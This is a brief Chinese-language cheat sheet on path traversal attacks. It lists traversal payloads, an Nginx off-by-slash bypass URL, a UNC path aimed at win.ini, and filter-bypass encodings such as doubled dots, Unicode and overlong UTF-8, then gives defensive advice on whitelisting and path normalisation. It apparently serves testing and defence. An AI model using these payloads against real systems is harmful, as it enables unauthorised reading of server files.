攻击载荷

URL参数

../
..\
..;/

Nginx Off by Slash

https://vuln.site.com/files../

UNC Bypass

\\localhost\c$\windows\win.ini

过滤绕过

  • 单次替换
...//
  • URL编码
  • 16位Unicode编码
\u002e
  • 超长UTF-8编码
\%e0%40%ae

防御

在进行文件操作相关的API前,应该对用户输入做过滤。较强的规则下可以使用白名单,仅允许纯字母或数字字符等。 若规则允许的字符较多,最好使用当前操作系统路径规范化函数规范化路径后,进行过滤,最后再进行相关调用。

参考链接